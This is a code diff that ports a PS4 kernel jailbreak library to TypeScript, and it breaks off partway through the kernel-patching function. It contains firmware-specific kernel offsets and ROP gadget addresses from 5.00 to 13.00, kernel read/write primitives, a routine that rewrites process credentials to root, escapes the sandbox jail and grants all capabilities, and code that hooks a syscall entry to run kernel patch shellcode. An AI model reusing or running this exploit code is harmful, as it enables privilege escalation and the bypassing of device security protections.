const hex = kpatch_shellcode[shellcode_fw_map[fw_version as keyof typeof shellcode_fw_map] as keyof typeof kpatch_shellcode]
|
||||
if (!hex) {
|
||||
return null
|
||||
}
|
||||
@@ -143,7 +145,7 @@ function get_kpatch_shellcode (fw_version) {
|
||||
|
||||
// Firmware-specific offsets for PS4
|
||||
|
||||
offset_ps4_5_00 = { // AND 5.01
|
||||
const offset_ps4_5_00 = { // AND 5.01
|
||||
EVF_OFFSET: 0X7B3ED4,
|
||||
PRISON0: 0X10986A0,
|
||||
ROOTVNODE: 0X22C19F0,
|
||||
@@ -151,7 +153,7 @@ offset_ps4_5_00 = { // AND 5.01
|
||||
JMP_RSI_GADGET: 0X13460
|
||||
}
|
||||
|
||||
offset_ps4_5_03 = {
|
||||
const offset_ps4_5_03 = {
|
||||
EVF_OFFSET: 0X7B42E4,
|
||||
PRISON0: 0X10986A0,
|
||||
ROOTVNODE: 0X22C1A70,
|
||||
@@ -159,7 +161,7 @@ offset_ps4_5_03 = {
|
||||
JMP_RSI_GADGET: 0X13460
|
||||
}
|
||||
|
||||
offset_ps4_5_05 = { // AND 5.07
|
||||
const offset_ps4_5_05 = { // AND 5.07
|
||||
EVF_OFFSET: 0X7B42A4,
|
||||
PRISON0: 0X10986A0,
|
||||
ROOTVNODE: 0X22C1A70,
|
||||
@@ -167,7 +169,7 @@ offset_ps4_5_05 = { // AND 5.07
|
||||
JMP_RSI_GADGET: 0X13460
|
||||
}
|
||||
|
||||
offset_ps4_5_50 = {
|
||||
const offset_ps4_5_50 = {
|
||||
EVF_OFFSET: 0X80EF12,
|
||||
PRISON0: 0X1134180,
|
||||
ROOTVNODE: 0X22EF570,
|
||||
@@ -175,7 +177,7 @@ offset_ps4_5_50 = {
|
||||
JMP_RSI_GADGET: 0XAF8C
|
||||
}
|
||||
|
||||
offset_ps4_5_53 = {
|
||||
const offset_ps4_5_53 = {
|
||||
EVF_OFFSET: 0X80EDE2,
|
||||
PRISON0: 0X1134180,
|
||||
ROOTVNODE: 0X22EF570,
|
||||
@@ -183,7 +185,7 @@ offset_ps4_5_53 = {
|
||||
JMP_RSI_GADGET: 0XAF8C
|
||||
}
|
||||
|
||||
offset_ps4_5_55 = {
|
||||
const offset_ps4_5_55 = {
|
||||
EVF_OFFSET: 0X80F482,
|
||||
PRISON0: 0X1139180,
|
||||
ROOTVNODE: 0X22F3570,
|
||||
@@ -191,7 +193,7 @@ offset_ps4_5_55 = {
|
||||
JMP_RSI_GADGET: 0XAF8C
|
||||
}
|
||||
|
||||
offset_ps4_5_56 = {
|
||||
const offset_ps4_5_56 = {
|
||||
EVF_OFFSET: 0X7C8971,
|
||||
PRISON0: 0X1139180,
|
||||
ROOTVNODE: 0X22F3570,
|
||||
@@ -199,7 +201,7 @@ offset_ps4_5_56 = {
|
||||
JMP_RSI_GADGET: 0X3F0C9
|
||||
}
|
||||
|
||||
offset_ps4_6_00 = { // AND 6.02
|
||||
const offset_ps4_6_00 = { // AND 6.02
|
||||
EVF_OFFSET: 0X7C8971,
|
||||
PRISON0: 0X1139458,
|
||||
ROOTVNODE: 0X21BFAC0,
|
||||
@@ -207,7 +209,7 @@ offset_ps4_6_00 = { // AND 6.02
|
||||
JMP_RSI_GADGET: 0X3F0C9
|
||||
}
|
||||
|
||||
offset_ps4_6_20 = {
|
||||
const offset_ps4_6_20 = {
|
||||
EVF_OFFSET: 0X7C8E31,
|
||||
PRISON0: 0X113D458,
|
||||
ROOTVNODE: 0X21C3AC0,
|
||||
@@ -215,7 +217,7 @@ offset_ps4_6_20 = {
|
||||
JMP_RSI_GADGET: 0X2BE6E
|
||||
}
|
||||
|
||||
offset_ps4_6_50 = {
|
||||
const offset_ps4_6_50 = {
|
||||
EVF_OFFSET: 0X7C6019,
|
||||
PRISON0: 0X113D4F8,
|
||||
ROOTVNODE: 0X2300320,
|
||||
@@ -223,7 +225,7 @@ offset_ps4_6_50 = {
|
||||
JMP_RSI_GADGET: 0X15A50D
|
||||
}
|
||||
|
||||
offset_ps4_6_51 = {
|
||||
const offset_ps4_6_51 = {
|
||||
EVF_OFFSET: 0X7C6099,
|
||||
PRISON0: 0X113D4F8,
|
||||
ROOTVNODE: 0X2300320,
|
||||
@@ -231,7 +233,7 @@ offset_ps4_6_51 = {
|
||||
JMP_RSI_GADGET: 0X15A50D
|
||||
}
|
||||
|
||||
offset_ps4_6_70 = { // AND 6.71, 6.72
|
||||
const offset_ps4_6_70 = { // AND 6.71, 6.72
|
||||
EVF_OFFSET: 0X7C7829,
|
||||
PRISON0: 0X113E518,
|
||||
ROOTVNODE: 0X2300320,
|
||||
@@ -239,7 +241,7 @@ offset_ps4_6_70 = { // AND 6.71, 6.72
|
||||
JMP_RSI_GADGET: 0X9D11D
|
||||
}
|
||||
|
||||
offset_ps4_7_00 = { // AND 7.01, 7.02
|
||||
const offset_ps4_7_00 = { // AND 7.01, 7.02
|
||||
EVF_OFFSET: 0X7F92CB,
|
||||
PRISON0: 0X113E398,
|
||||
ROOTVNODE: 0X22C5750,
|
||||
@@ -247,7 +249,7 @@ offset_ps4_7_00 = { // AND 7.01, 7.02
|
||||
JMP_RSI_GADGET: 0X6B192
|
||||
}
|
||||
|
||||
offset_ps4_7_50 = {
|
||||
const offset_ps4_7_50 = {
|
||||
EVF_OFFSET: 0X79A92E,
|
||||
PRISON0: 0X113B728,
|
||||
ROOTVNODE: 0X1B463E0,
|
||||
@@ -255,7 +257,7 @@ offset_ps4_7_50 = {
|
||||
JMP_RSI_GADGET: 0X1F842
|
||||
}
|
||||
|
||||
offset_ps4_7_51 = { // AND 7.55
|
||||
const offset_ps4_7_51 = { // AND 7.55
|
||||
EVF_OFFSET: 0X79A96E,
|
||||
PRISON0: 0X113B728,
|
||||
ROOTVNODE: 0X1B463E0,
|
||||
@@ -263,7 +265,7 @@ offset_ps4_7_51 = { // AND 7.55
|
||||
JMP_RSI_GADGET: 0X1F842
|
||||
}
|
||||
|
||||
offset_ps4_8_00 = { // AND 8.01, 8.02, 8.03
|
||||
const offset_ps4_8_00 = { // AND 8.01, 8.02, 8.03
|
||||
EVF_OFFSET: 0X7EDCFF,
|
||||
PRISON0: 0X111A7D0,
|
||||
ROOTVNODE: 0X1B8C730,
|
||||
@@ -271,7 +273,7 @@ offset_ps4_8_00 = { // AND 8.01, 8.02, 8.03
|
||||
JMP_RSI_GADGET: 0XE629C
|
||||
}
|
||||
|
||||
offset_ps4_8_50 = { // AND 8.52
|
||||
const offset_ps4_8_50 = { // AND 8.52
|
||||
EVF_OFFSET: 0X7DA91C,
|
||||
PRISON0: 0X111A8F0,
|
||||
ROOTVNODE: 0X1C66150,
|
||||
@@ -279,7 +281,7 @@ offset_ps4_8_50 = { // AND 8.52
|
||||
JMP_RSI_GADGET: 0XC810D
|
||||
}
|
||||
|
||||
offset_ps4_9_00 = {
|
||||
const offset_ps4_9_00 = {
|
||||
EVF_OFFSET: 0x7F6F27,
|
||||
PRISON0: 0x111F870,
|
||||
ROOTVNODE: 0x21EFF20,
|
||||
@@ -290,7 +292,7 @@ offset_ps4_9_00 = {
|
||||
|
||||
}
|
||||
|
||||
offset_ps4_9_03 = {
|
||||
const offset_ps4_9_03 = {
|
||||
EVF_OFFSET: 0x7F4CE7,
|
||||
PRISON0: 0x111B840,
|
||||
ROOTVNODE: 0x21EBF20,
|
||||
@@ -300,7 +302,7 @@ offset_ps4_9_03 = {
|
||||
KL_LOCK: 0x3959F0,
|
||||
}
|
||||
|
||||
offset_ps4_9_50 = {
|
||||
const offset_ps4_9_50 = {
|
||||
EVF_OFFSET: 0x769A88,
|
||||
PRISON0: 0x11137D0,
|
||||
ROOTVNODE: 0x21A6C30,
|
||||
@@ -310,7 +312,7 @@ offset_ps4_9_50 = {
|
||||
KL_LOCK: 0x85EE0,
|
||||
}
|
||||
|
||||
offset_ps4_10_00 = {
|
||||
const offset_ps4_10_00 = {
|
||||
EVF_OFFSET: 0x7B5133,
|
||||
PRISON0: 0x111B8B0,
|
||||
ROOTVNODE: 0x1B25BD0,
|
||||
@@ -320,7 +322,7 @@ offset_ps4_10_00 = {
|
||||
KL_LOCK: 0x45B10,
|
||||
}
|
||||
|
||||
offset_ps4_10_50 = {
|
||||
const offset_ps4_10_50 = {
|
||||
EVF_OFFSET: 0x7A7B14,
|
||||
PRISON0: 0x111B910,
|
||||
ROOTVNODE: 0x1BF81F0,
|
||||
@@ -330,7 +332,7 @@ offset_ps4_10_50 = {
|
||||
KL_LOCK: 0x25E330,
|
||||
}
|
||||
|
||||
offset_ps4_11_00 = {
|
||||
const offset_ps4_11_00 = {
|
||||
EVF_OFFSET: 0x7FC26F,
|
||||
PRISON0: 0x111F830,
|
||||
ROOTVNODE: 0x2116640,
|
||||
@@ -340,7 +342,7 @@ offset_ps4_11_00 = {
|
||||
KL_LOCK: 0x58F10,
|
||||
}
|
||||
|
||||
offset_ps4_11_02 = {
|
||||
const offset_ps4_11_02 = {
|
||||
EVF_OFFSET: 0x7FC22F,
|
||||
PRISON0: 0x111F830,
|
||||
ROOTVNODE: 0x2116640,
|
||||
@@ -350,7 +352,7 @@ offset_ps4_11_02 = {
|
||||
KL_LOCK: 0x58F10,
|
||||
}
|
||||
|
||||
offset_ps4_11_50 = {
|
||||
const offset_ps4_11_50 = {
|
||||
EVF_OFFSET: 0x784318,
|
||||
PRISON0: 0x111FA18,
|
||||
ROOTVNODE: 0x2136E90,
|
||||
@@ -360,7 +362,7 @@ offset_ps4_11_50 = {
|
||||
KL_LOCK: 0xE6C20,
|
||||
}
|
||||
|
||||
offset_ps4_12_00 = { // AND 12.02
|
||||
const offset_ps4_12_00 = { // AND 12.02
|
||||
EVF_OFFSET: 0x784798,
|
||||
PRISON0: 0x111FA18,
|
||||
ROOTVNODE: 0x2136E90,
|
||||
@@ -370,7 +372,7 @@ offset_ps4_12_00 = { // AND 12.02
|
||||
KL_LOCK: 0xE6C20,
|
||||
}
|
||||
|
||||
offset_ps4_12_50 = { // AND 12.52, 13.00
|
||||
const offset_ps4_12_50 = { // AND 12.52, 13.00
|
||||
EVF_OFFSET: 0x0, // Missing but not needed in netctrl
|
||||
PRISON0: 0x111FA18,
|
||||
ROOTVNODE: 0x2136E90,
|
||||
@@ -381,7 +383,7 @@ offset_ps4_12_50 = { // AND 12.52, 13.00
|
||||
}
|
||||
|
||||
// Map firmware versions to offset objects
|
||||
ps4_kernel_offset_list = {
|
||||
export const ps4_kernel_offset_list = {
|
||||
'5.00': offset_ps4_5_00,
|
||||
5.01: offset_ps4_5_00,
|
||||
5.03: offset_ps4_5_03,
|
||||
@@ -433,10 +435,25 @@ ps4_kernel_offset_list = {
|
||||
'13.00': offset_ps4_12_50,
|
||||
}
|
||||
|
||||
kernel_offset = null // Global
|
||||
let kernel_offset: (typeof ps4_kernel_offset_list[keyof typeof ps4_kernel_offset_list]) & {
|
||||
PROC_FD?: number,
|
||||
PROC_PID?: number,
|
||||
PROC_VM_SPACE?: number,
|
||||
PROC_UCRED?: number,
|
||||
PROC_COMM?: number,
|
||||
PROC_SYSENT?: number,
|
||||
FILEDESC_OFILES?: number,
|
||||
SIZEOF_OFILES?: number,
|
||||
VMSPACE_VM_PMAP?: number,
|
||||
PMAP_CR3?: number,
|
||||
SO_PCB?: number,
|
||||
INPCB_PKTOPTS?: number,
|
||||
IP6PO_TCLASS?: number,
|
||||
IP6PO_RTHDR?: number,
|
||||
} | null = null // Global
|
||||
|
||||
function get_kernel_offset (FW_VERSION) {
|
||||
const fw_offsets = ps4_kernel_offset_list[FW_VERSION]
|
||||
export function get_kernel_offset (FW_VERSION: string) {
|
||||
const fw_offsets = ps4_kernel_offset_list[FW_VERSION as keyof typeof ps4_kernel_offset_list]
|
||||
|
||||
if (!fw_offsets) {
|
||||
throw new Error('Unsupported PS4 firmware version: ' + FW_VERSION)
|
||||
@@ -476,129 +493,190 @@ function get_kernel_offset (FW_VERSION) {
|
||||
// Global kernel object to save information
|
||||
// Also used in lapse.js
|
||||
|
||||
kernel = {
|
||||
export const kernel: {
|
||||
addr: {
|
||||
base?: BigInt,
|
||||
curproc?: BigInt,
|
||||
allproc?: BigInt,
|
||||
curproc_fd?: BigInt,
|
||||
curproc_ofiles?: BigInt,
|
||||
inside_kdata?: BigInt,
|
||||
},
|
||||
read_buffer: ((kaddr: BigInt, length: number) => Uint8Array | null) | null,
|
||||
write_buffer: ((kaddr: BigInt, buffer: Uint8Array) => void) | null,
|
||||
read_byte: (kaddr: BigInt) => number | null,
|
||||
read_word: (kaddr: BigInt) => number | null,
|
||||
read_dword: (kaddr: BigInt) => number | null,
|
||||
read_qword: (kaddr: BigInt) => BigInt | null,
|
||||
read_null_terminated_string: (kaddr: BigInt) => string,
|
||||
write_byte: (dest: BigInt, value: number) => void,
|
||||
write_word: (dest: BigInt, value: number) => void,
|
||||
write_dword: (dest: BigInt, value: number) => void,
|
||||
write_qword: (dest: BigInt, value: BigInt | number) => void,
|
||||
copyout?: (kaddr: BigInt, uaddr: BigInt, len: BigInt) => void,
|
||||
copyin?: (uaddr: BigInt, kaddr: BigInt, len: BigInt) => void
|
||||
} = {
|
||||
// Object used to sture kbase, curproc, allproc
|
||||
addr: {},
|
||||
// We need to define these 2 functions in the exploit
|
||||
read_buffer: null,
|
||||
write_buffer: null
|
||||
write_buffer: null,
|
||||
read_byte: function (kaddr: BigInt) {
|
||||
const value = kernel.read_buffer?.(kaddr, 1)
|
||||
return value && value.length === 1 ? (value[0]!) : null
|
||||
},
|
||||
read_word: function (kaddr: BigInt) {
|
||||
const value = kernel.read_buffer?.(kaddr, 2)
|
||||
if (!value || value.length !== 2) return null
|
||||
return (value[0]!) | ((value[1]!) << 8)
|
||||
},
|
||||
read_dword: function (kaddr: BigInt) {
|
||||
const value = kernel.read_buffer?.(kaddr, 4)
|
||||
if (!value || value.length !== 4) return null
|
||||
let result = 0
|
||||
for (let i = 0; i < 4; i++) {
|
||||
result |= ((value[i]!) << (i * 8))
|
||||
}
|
||||
return result
|
||||
},
|
||||
read_qword: function (kaddr: BigInt) {
|
||||
const value = kernel.read_buffer?.(kaddr, 8)
|
||||
if (!value || value.length !== 8) return null
|
||||
let result_hi = 0
|
||||
let result_low = 0
|
||||
for (let i = 0; i < 4; i++) {
|
||||
result_hi |= ((value[i + 4]!) << (i * 8))
|
||||
result_low |= ((value[i]!) << (i * 8))
|
||||
}
|
||||
const result = new BigInt(result_hi, result_low)
|
||||
return result
|
||||
},
|
||||
read_null_terminated_string: function (kaddr: BigInt) {
|
||||
let result = ''
|
||||
|
||||
while (true) {
|
||||
const chunk = kernel.read_buffer?.(kaddr, 0x8)
|
||||
if (!chunk || chunk.length === 0) break
|
||||
|
||||
let null_pos = -1
|
||||
for (let i = 0; i < chunk.length; i++) {
|
||||
if (chunk[i] === 0) {
|
||||
null_pos = i
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if (null_pos >= 0) {
|
||||
if (null_pos > 0) {
|
||||
for (let i = 0; i < null_pos; i++) {
|
||||
result += String.fromCharCode(Number(chunk[i]))
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
for (let i = 0; i < chunk.length; i++) {
|
||||
result += String.fromCharCode(Number(chunk[i]))
|
||||
}
|
||||
|
||||
kaddr = kaddr.add(chunk.length)
|
||||
}
|
||||
|
||||
return result
|
||||
},
|
||||
write_byte: function (dest: BigInt, value: number) {
|
||||
const buf = new Uint8Array(1)
|
||||
buf[0] = Number(value & 0xFF)
|
||||
kernel.write_buffer?.(dest, buf)
|
||||
},
|
||||
write_word: function (dest: BigInt, value: number) {
|
||||
const buf = new Uint8Array(2)
|
||||
buf[0] = Number(value & 0xFF)
|
||||
buf[1] = Number((value >> 8) & 0xFF)
|
||||
kernel.write_buffer?.(dest, buf)
|
||||
},
|
||||
write_dword: function (dest: BigInt, value: number) {
|
||||
const buf = new Uint8Array(4)
|
||||
for (let i = 0; i < 4; i++) {
|
||||
buf[i] = Number((value >> (i * 8)) & 0xFF)
|
||||
}
|
||||
kernel.write_buffer?.(dest, buf)
|
||||
},
|
||||
write_qword: function (dest: BigInt, value: BigInt | number) {
|
||||
const buf = new Uint8Array(8)
|
||||
value = value instanceof BigInt ? value : new BigInt(value)
|
||||
|
||||
const val_hi = value.hi
|
||||
const val_low = value.lo
|
||||
|
||||
for (let i = 0; i < 4; i++) {
|
||||
buf[i] = Number((val_low >> (i * 8))) & 0xFF
|
||||
buf[i + 4] = Number((val_hi >> ((i + 4) * 8))) & 0xFF
|
||||
}
|
||||
kernel.write_buffer?.(dest, buf)
|
||||
}
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
function is_kernel_rw_available () {
|
||||
export function is_kernel_rw_available () {
|
||||
return kernel.read_buffer && kernel.write_buffer
|
||||
}
|
||||
|
||||
function check_kernel_rw () {
|
||||
export function check_kernel_rw () {
|
||||
if (!is_kernel_rw_available()) {
|
||||
throw new Error('kernel r/w is not available')
|
||||
}
|
||||
}
|
||||
|
||||
kernel.read_byte = function (kaddr) {
|
||||
const value = kernel.read_buffer(kaddr, 1)
|
||||
return value && value.length === 1 ? (value[0]) : null
|
||||
export function write8 (addr: BigInt, val: number) {
|
||||
mem.view(addr).setUint8(0, val & 0xFF)
|
||||
}
|
||||
|
||||
kernel.read_word = function (kaddr) {
|
||||
const value = kernel.read_buffer(kaddr, 2)
|
||||
if (!value || value.length !== 2) return null
|
||||
return (value[0]) | ((value[1]) << 8)
|
||||
export function write16 (addr: BigInt, val: number) {
|
||||
mem.view(addr).setUint16(0, val & 0xFFFF, true)
|
||||
}
|
||||
|
||||
kernel.read_dword = function (kaddr) {
|
||||
const value = kernel.read_buffer(kaddr, 4)
|
||||
if (!value || value.length !== 4) return null
|
||||
var result = 0
|
||||
for (var i = 0; i < 4; i++) {
|
||||
result |= ((value[i]) << (i * 8))
|
||||
}
|
||||
return result
|
||||
export function write32 (addr: BigInt, val: number) {
|
||||
mem.view(addr).setUint32(0, val & 0xFFFFFFFF, true)
|
||||
}
|
||||
|
||||
kernel.read_qword = function (kaddr) {
|
||||
const value = kernel.read_buffer(kaddr, 8)
|
||||
if (!value || value.length !== 8) return null
|
||||
var result_hi = 0
|
||||
var result_low = 0
|
||||
for (var i = 0; i < 4; i++) {
|
||||
result_hi |= ((value[i + 4]) << (i * 8))
|
||||
result_low |= ((value[i]) << (i * 8))
|
||||
}
|
||||
var result = new BigInt(result_hi, result_low)
|
||||
return result
|
||||
export function write64 (addr: BigInt, val: BigInt | number) {
|
||||
mem.view(addr).setBigInt(0, new BigInt(val), true)
|
||||
}
|
||||
|
||||
kernel.read_null_terminated_string = function (kaddr) {
|
||||
var result = ''
|
||||
|
||||
while (true) {
|
||||
const chunk = kernel.read_buffer(kaddr, 0x8)
|
||||
if (!chunk || chunk.length === 0) break
|
||||
|
||||
var null_pos = -1
|
||||
for (var i = 0; i < chunk.length; i++) {
|
||||
if (chunk[i] === 0) {
|
||||
null_pos = i
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if (null_pos >= 0) {
|
||||
if (null_pos > 0) {
|
||||
for (var i = 0; i < null_pos; i++) {
|
||||
result += String.fromCharCode(Number(chunk[i]))
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
for (var i = 0; i < chunk.length; i++) {
|
||||
result += String.fromCharCode(Number(chunk[i]))
|
||||
}
|
||||
|
||||
kaddr = kaddr.add(chunk.length)
|
||||
}
|
||||
|
||||
return result
|
||||
export function read8 (addr: BigInt) {
|
||||
return mem.view(addr).getUint8(0)
|
||||
}
|
||||
|
||||
kernel.write_byte = function (dest, value) {
|
||||
const buf = new Uint8Array(1)
|
||||
buf[0] = Number(value & 0xFF)
|
||||
kernel.write_buffer(dest, buf)
|
||||
export function read16 (addr: BigInt) {
|
||||
return mem.view(addr).getUint16(0, true)
|
||||
}
|
||||
|
||||
kernel.write_word = function (dest, value) {
|
||||
const buf = new Uint8Array(2)
|
||||
buf[0] = Number(value & 0xFF)
|
||||
buf[1] = Number((value >> 8) & 0xFF)
|
||||
kernel.write_buffer(dest, buf)
|
||||
export function read32 (addr: BigInt) {
|
||||
return mem.view(addr).getUint32(0, true)
|
||||
}
|
||||
|
||||
kernel.write_dword = function (dest, value) {
|
||||
const buf = new Uint8Array(4)
|
||||
for (var i = 0; i < 4; i++) {
|
||||
buf[i] = Number((value >> (i * 8)) & 0xFF)
|
||||
}
|
||||
kernel.write_buffer(dest, buf)
|
||||
export function read64 (addr: BigInt) {
|
||||
return mem.view(addr).getBigInt(0, true)
|
||||
}
|
||||
|
||||
kernel.write_qword = function (dest, value) {
|
||||
const buf = new Uint8Array(8)
|
||||
value = value instanceof BigInt ? value : new BigInt(value)
|
||||
|
||||
var val_hi = value.hi
|
||||
var val_low = value.lo
|
||||
|
||||
for (var i = 0; i < 4; i++) {
|
||||
buf[i] = Number((val_low >> (i * 8))) & 0xFF
|
||||
buf[i + 4] = Number((val_hi >> ((i + 4) * 8))) & 0xFF
|
||||
}
|
||||
kernel.write_buffer(dest, buf)
|
||||
export function malloc (size: number) {
|
||||
return mem.malloc(size)
|
||||
}
|
||||
|
||||
function sysctlbyname (name, oldp, oldp_len, newp, newp_len) {
|
||||
export function hex (val: BigInt | number) {
|
||||
if (val instanceof BigInt) { return val.toString() }
|
||||
return '0x' + val.toString(16).padStart(2, '0')
|
||||
}
|
||||
|
||||
export function send_notification (msg: string) {
|
||||
utils.notify(msg)
|
||||
}
|
||||
|
||||
fn.register(0x0ca, 'sysctl', ['bigint', 'number', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||
const sysctl = fn.sysctl
|
||||
|
||||
export function sysctlbyname (name: string, oldp: BigInt | number, oldp_len: BigInt | number, newp: BigInt | number, newp_len: BigInt | number) {
|
||||
const translate_name_mib = malloc(0x8)
|
||||
const buf_size = 0x70
|
||||
const mib = malloc(buf_size)
|
||||
@@ -614,6 +692,11 @@ function sysctlbyname (name, oldp, oldp_len, newp, newp_len) {
|
||||
log('failed to translate sysctl name to mib (' + name + ')')
|
||||
}
|
||||
|
||||
oldp = typeof oldp === 'number' ? new BigInt(oldp) : oldp
|
||||
oldp_len = typeof oldp_len === 'number' ? new BigInt(oldp_len) : oldp_len
|
||||
newp = typeof newp === 'number' ? new BigInt(newp) : newp
|
||||
newp_len = typeof newp_len === 'number' ? new BigInt(newp_len) : newp_len
|
||||
|
||||
if (sysctl(mib, 2, oldp, oldp_len, newp, newp_len).eq(new BigInt(0xffffffff, 0xffffffff))) {
|
||||
return false
|
||||
}
|
||||
@@ -621,7 +704,7 @@ function sysctlbyname (name, oldp, oldp_len, newp, newp_len) {
|
||||
return true
|
||||
}
|
||||
|
||||
function get_fwversion () {
|
||||
export function get_fwversion () {
|
||||
const buf = malloc(0x8)
|
||||
const size = malloc(0x8)
|
||||
write64(size, 0x8)
|
||||
@@ -641,7 +724,23 @@ function get_fwversion () {
|
||||
// kernel.addr.allproc
|
||||
// kernel.addr.base
|
||||
|
||||
function jailbreak_shared (FW_VERSION) {
|
||||
fn.register(0x18, 'getuid', [], 'bigint')
|
||||
fn.register(0x249, 'is_in_sandbox', [], 'bigint')
|
||||
fn.register(477, 'mmap', ['bigint', 'number', 'number', 'number', 'bigint', 'number'], 'bigint')
|
||||
fn.register(0x49, 'munmap', ['bigint', 'number'], 'bigint')
|
||||
const getuid = fn.getuid
|
||||
const is_in_sandbox = fn.is_in_sandbox
|
||||
const mmap = fn.mmap
|
||||
const munmap = fn.munmap
|
||||
|
||||
export function jailbreak_shared (FW_VERSION: string) {
|
||||
if (!kernel.addr.curproc || !kernel.addr.base || !kernel.addr.allproc) {
|
||||
throw new Error('kernel.addr is not properly initialized')
|
||||
}
|
||||
if (!kernel_offset) {
|
||||
throw new Error('kernel_offset is not initialized')
|
||||
}
|
||||
|
||||
const OFFSET_P_UCRED = 0x40
|
||||
const proc = kernel.addr.curproc
|
||||
|
||||
@@ -650,9 +749,13 @@ function jailbreak_shared (FW_VERSION) {
|
||||
debug('BEFORE: uid=' + uid_before + ', sandbox=' + sandbox_before)
|
||||
|
||||
// Patch ucred
|
||||
const proc_fd = kernel.read_qword(proc.add(kernel_offset.PROC_FD))
|
||||
const proc_fd = kernel.read_qword(proc.add(kernel_offset.PROC_FD!))
|
||||
const ucred = kernel.read_qword(proc.add(OFFSET_P_UCRED))
|
||||
|
||||
if (!proc_fd || !ucred) {
|
||||
throw new Error('Failed to read proc_fd or ucred')
|
||||
}
|
||||
|
||||
kernel.write_dword(ucred.add(0x04), 0) // cr_uid
|
||||
kernel.write_dword(ucred.add(0x08), 0) // cr_ruid
|
||||
kernel.write_dword(ucred.add(0x0C), 0) // cr_svuid
|
||||
@@ -660,12 +763,18 @@ function jailbreak_shared (FW_VERSION) {
|
||||
kernel.write_dword(ucred.add(0x14), 0) // cr_rgid
|
||||
|
||||
const prison0 = kernel.read_qword(kernel.addr.base.add(kernel_offset.PRISON0))
|
||||
if (!prison0) {
|
||||
throw new Error('Failed to read prison0')
|
||||
}
|
||||
kernel.write_qword(ucred.add(0x30), prison0)
|
||||
|
||||
kernel.write_qword(ucred.add(0x60), new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) // sceCaps
|
||||
kernel.write_qword(ucred.add(0x68), new BigInt(0xFFFFFFFF, 0xFFFFFFFF))
|
||||
|
||||
const rootvnode = kernel.read_qword(kernel.addr.base.add(kernel_offset.ROOTVNODE))
|
||||
if (!rootvnode) {
|
||||
throw new Error('Failed to read rootvnode')
|
||||
}
|
||||
kernel.write_qword(proc_fd.add(0x10), rootvnode) // fd_rdir
|
||||
kernel.write_qword(proc_fd.add(0x18), rootvnode) // fd_jdir
|
||||
|
||||
@@ -688,19 +797,17 @@ function jailbreak_shared (FW_VERSION) {
|
||||
|
||||
// Comprehensive kernel patch verification
|
||||
debug('Verifying kernel patches...')
|
||||
var all_patches_ok = true
|
||||
let all_patches_ok = true
|
||||
|
||||
// 1. Verify mmap RWX patch (0x33 -> 0x37 at two locations)
|
||||
const mmap_offsets = get_mmap_patch_offsets(FW_VERSION)
|
||||
if (mmap_offsets) {
|
||||
const b1 = kernel.read_byte(kernel.addr.base.add(mmap_offsets[0]))
|
||||
const b2 = kernel.read_byte(kernel.addr.base.add(mmap_offsets[1]))
|
||||
const byte1 = b1 instanceof BigInt ? Number(b1.and(0xff)) : b1
|
||||
const byte2 = b2 instanceof BigInt ? Number(b2.and(0xff)) : b2
|
||||
if (byte1 === 0x37 && byte2 === 0x37) {
|
||||
const b1 = kernel.read_byte(kernel.addr.base.add(mmap_offsets[0]!))
|
||||
const b2 = kernel.read_byte(kernel.addr.base.add(mmap_offsets[1]!))
|
||||
if (b1 === 0x37 && b2 === 0x37) {
|
||||
debug(' [OK] mmap RWX patch')
|
||||
} else {
|
||||
debug(' [FAIL] mmap RWX: [' + hex(mmap_offsets[0]) + ']=' + hex(byte1) + ' [' + hex(mmap_offsets[1]) + ']=' + hex(byte2))
|
||||
debug(' [FAIL] mmap RWX: [' + hex(mmap_offsets[0]!) + ']=' + hex(b1 ?? 0) + ' [' + hex(mmap_offsets[1]!) + ']=' + hex(b2 ?? 0))
|
||||
all_patches_ok = false
|
||||
}
|
||||
} else {
|
||||
@@ -712,7 +819,7 @@ function jailbreak_shared (FW_VERSION) {
|
||||
const PROT_RWX = 0x7 // READ | WRITE | EXEC
|
||||
const MAP_ANON = 0x1000
|
||||
const MAP_PRIVATE = 0x2
|
||||
const test_addr = mmap(0, 0x1000, PROT_RWX, MAP_PRIVATE | MAP_ANON, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0)
|
||||
const test_addr = mmap(new BigInt(0), 0x1000, PROT_RWX, MAP_PRIVATE | MAP_ANON, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0)
|
||||
if (Number(test_addr.shr(32)) < 0xffff8000) {
|
||||
debug(' [OK] mmap RWX functional @ ' + hex(test_addr))
|
||||
// Unmap the test allocation
|
||||
@@ -722,7 +829,7 @@ function jailbreak_shared (FW_VERSION) {
|
||||
all_patches_ok = false
|
||||
}
|
||||
} catch (e) {
|
||||
debug(' [FAIL] mmap RWX test error: ' + e.message)
|
||||
debug(' [FAIL] mmap RWX test error: ' + (e as Error).message)
|
||||
all_patches_ok = false
|
||||
}
|
||||
|
||||
@@ -736,10 +843,21 @@ function jailbreak_shared (FW_VERSION) {
|
||||
}
|
||||
}
|
||||
|
||||
fn.register(0x215, 'jitshm_create', ['number', 'number', 'number'], 'bigint')
|
||||
fn.register(0x295, 'kexec', ['bigint'], 'bigint')
|
||||
const jitshm_create = fn.jitshm_create
|
||||
const kexec = fn.kexec
|
||||
|
||||
// Apply kernel patches via kexec using a single ROP chain
|
||||
// This avoids returning to JS between critical operations
|
||||
function apply_kernel_patches (fw_version) {
|
||||
export function apply_kernel_patches (fw_version: string) {
|
||||
try {
|
||||
if (!kernel.addr.base) {
|
||||
throw new Error('kernel.addr.base is not initialized')
|
||||
}
|
||||
if (!kernel_offset) {
|
||||
throw new Error('kernel_offset is not initialized')
|
||||
}
|
||||
// Get shellcode for this firmware
|
||||
const shellcode = get_kpatch_shellcode(fw_version)
|
||||
if (!shellcode) {
|
||||
@@ -766,9 +884,14 @@ function apply_kernel_patches (fw_version) {
|
||||
const sy_call = kernel.read_qword(sysent_661_addr.add(8))
|
||||
const sy_thrcnt = kernel.read_dword(sysent_661_addr.add(0x2C))
|
||||
|
||||
debug('Original sy_narg: ' + hex(sy_narg))
|
||||
debug('Original sy_call: ' + hex(sy_call))
|
||||
debug('Original sy_thrcnt: ' + hex(sy_thrcnt))
|
||||
debug('Original sy_narg: ' + hex(sy_narg ?? 0))
|
||||
debug('Original sy_call: ' + hex(sy_call ?? 0))
|
||||
